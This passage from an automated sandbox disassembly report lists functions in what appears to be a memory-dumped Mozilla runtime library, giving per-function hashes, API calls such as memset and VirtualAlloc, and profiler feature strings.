Instruction ID: ca564f0a8df396e03c74de320938d7a0532e7320a7295eeba397575622058f59
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 1C322632B046168FCB18DE3CC89066ABBE6AFD9310F49866DE495CB395D730ED05CB91

Function 6C9C545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C8A4B

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6748e7821dcc473d6c0f55ff824bf16f35ac862823f67dc771b8f36cf46e1fb6
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D2B1E672B0021ACFDB14CF68CC907A9B7B6EF95314F1902A9C549EB781D730E985CB92

Function 6C9C542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 6cd0fcc83cd549fe357bb5cf7969e5caf8bc937e41cd46092fa0c911797b1cdb
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 75B1D572F0021A8BDB14CF58CC816ADB7B6AF95314F190269C549EBB85D730E989CB92

Function 6C9C50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: b7d9ce138e4f5084dc90b56994151a48e0598923134e98aea57dfd13da7d3c95
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: AAA1D772B001178FDB14CF68CC807A9B7B6AF95314F1502B9C949EB785D730E999CB92

Function 6C9A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A7A93

Part of subcall function 6C975C50: GetTickCount64.KERNEL32 ref: 6C975D40
Part of subcall function 6C975C50: EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A7AA1

Part of subcall function 6C975C50: __aulldiv.LIBCMT ref: 6C975DB4
Part of subcall function 6C975C50: LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9A7B31

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction ID: 35d63b402a5348829407a67e4b6dac3005365ed227e1c3fbdf0c17e17450f845
Opcode Fuzzy Hash: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction Fuzzy Hash: 90B1AC356087808BCB18CFA4C49165FB7E2BFD9318F154A1CE99567B94DB70E90BCB82

Function 6C996CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C996D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996E1E

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction ID: f7634df291f7fc298ae2d1d3f8b29d472dd0c08a0e26eb2a7d4116a96b0aebee
Opcode Fuzzy Hash: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction Fuzzy Hash: 93A18D706183818FCB15CF24C4907AEFBE6BFA8308F54495DE48A87751DB70E959CB92

Function 6C9BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9BB720
RtlNtStatusToDosError.NTDLL ref: 6C9BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C98FE3F,00000000,00000000,?,?,00000000,?,6C98FE3F), ref: 6C9BB760

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction ID: 973e5f119293fe9ebbc3919dc469951abb1e451a2f5b83f2ef42083c76e2a61a
Opcode Fuzzy Hash: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction Fuzzy Hash: 51F0AFB0A0420CAEEF019AA1CCC4BEFB7BC9B14719F105129E511729C0D774E6C8C762

Function 6C974640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C974777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C975585, 6C9755A8, 6C9755C3, 6C975624

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction ID: 1fad17c29fd2c955e96db0ffb6502fe17ff21090745f4a1ef674bff60e20a197
Opcode Fuzzy Hash: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction Fuzzy Hash: 37B28D71A06B018FD728CF18C590715BBE6BFC5324B29C7ADE4698B6A6D731E841CF90

Function 6C9B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B8C7C
__aulldiv.LIBCMT ref: 6C9B8DD7

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: abf186ce9f9c734c8e384b0231a2bea45213bc7c3d19e44ecba271efc7597e0d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: DB325971F0121A8BDF1CCE9CC8A17BEB7B6FB88300F15852AD506BB790DA349D458B95

Function 6C9BB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9603D4,?), ref: 6C9BB955
NtQueryVirtualMemory.NTDLL ref: 6C9BB9A5

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction ID: 74815975401d012b9c5b82fc612d258ea3ca7e91d580970858bfb7b2fe73cd1e
Opcode Fuzzy Hash: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction Fuzzy Hash: 8641C571F01219AFDF04CFA9D880ADEB7B9EF88354F14812AE505B7744DB30E9458B91

Function 6C995C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C964A63,?,?), ref: 6C995F06

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction ID: e87c19aeb54141b40e2ff11cc4c98e9d4ce69d8caccf48a06b77821da2475711
Opcode Fuzzy Hash: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction Fuzzy Hash: DAC1C175D012099BCB04CFA5C5906EEBBF6FF8A319F28425DD8556BB44D732A846CB80

Function 6C95DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction ID: a899fa613e4c4b232c11e9189b4b7732dc773f6f34e3f0bd3ad67280208987b7
Opcode Fuzzy Hash: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction Fuzzy Hash: AC42D472A087518BD304CE3CC49035AF3E2BFC9364F594B2DE999A7794D739D9418B82

Function 6C9C76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: b85fa92e39bd717ff08c812256885db20c52909c69fc35117cf796b061bc8064
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8332F871E0061A8FDB14CF98C8D0AADFBB6FF88304F6481A9C549A7745D731A986CF91

Function 6C9C6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 339a7a8d9ce8ff281e064841f521848a5f2afeceb7f9eb647f16b7c89a008e69
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F522E871E0061A8FDB14CF98C880AADF7F6FF88304F6485AAC549A7745D731A986CF91

Function 6C980512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 286ab1b55caabb77574da8dc762465e9dbb4a6a592fa37c3ece0a54f2dbccbfb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: FC221671E01659CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D731A986CF90

Function 6C9CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction ID: 845f37bb87fd0395f7ec045ee9b6bdfdba6238f99a989a2309416836ff3aa9ca
Opcode Fuzzy Hash: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction Fuzzy Hash: C3F14871B087458FD700CE28C8913AAB7E6AFD5318F158A2DE8D487781EB74D9898793

Function 6C95C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 5f235e11923b688408c7ff9597425e03612c3ff3549a37dde2826480d5134435
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: AAA1AA71F0021A8FDB08CE69C8913AEB7F2AFC8354F588269D915E7781DB349D168B90

Function 6C997710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction ID: 9235d4aeb16e95b897db654b44aad1d842f977bcab8bd4c1c42e8846b01dd419
Opcode Fuzzy Hash: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction Fuzzy Hash: 7B714C75E012198FCB18CF99D8905EDBBB6FF89314F28816ED415AB740DB31A945CB90

Function 6C9958E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction ID: e27303789d493c5076aeb74b262a07e258456b216b98fe066c17ff9ed332aa26
Opcode Fuzzy Hash: 5f3271e0b6d1972c6f9a5bf7d2f7ee605f6e000976014a997e28f346435fa738
Instruction Fuzzy Hash: F5817A75A012199FCB04CFA8C8809EEBBF6FF89314F684269D511AB741D731E945CBA0

Function 6C99CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C96582D), ref: 6C99CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C96582D), ref: 6C99CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9CFE98,?,?,?,?,?,6C96582D), ref: 6C99CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C96582D), ref: 6C99CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C99CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C99CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C99CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C99CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C99CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C99CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C99CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C99CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C99CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C99CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C99CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C99CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C99CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C99CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C99CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C99CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C99CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C99CE8A

Strings

markersallthreads, xrefs: 6C99CE42
java, xrefs: 6C99CC37
mainthreadio, xrefs: 6C99CC7C
default, xrefs: 6C99CC21
jsallocations, xrefs: 6C99CD0E
audiocallbacktracing, xrefs: 6C99CDD4
notimerresolutionchange, xrefs: 6C99CE00
seqstyle, xrefs: 6C99CCE6
screenshots, xrefs: 6C99CCD4
preferencereads, xrefs: 6C99CD92
unregisteredthreads, xrefs: 6C99CE58
fileioall, xrefs: 6C99CCA8
processcpu, xrefs: 6C99CE6E
leaf, xrefs: 6C99CC66
Unrecognized feature "%s"., xrefs: 6C99CEA0
nostacksampling, xrefs: 6C99CD7C
cpuallthreads, xrefs: 6C99CE16
ipcmessages, xrefs: 6C99CDBE
power, xrefs: 6C99CE84
nativeallocations, xrefs: 6C99CDA8
samplingallthreads, xrefs: 6C99CE2C
fileio, xrefs: 6C99CC92
stackwalk, xrefs: 6C99CCF8
noiostacks, xrefs: 6C99CCBE

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: strcmp
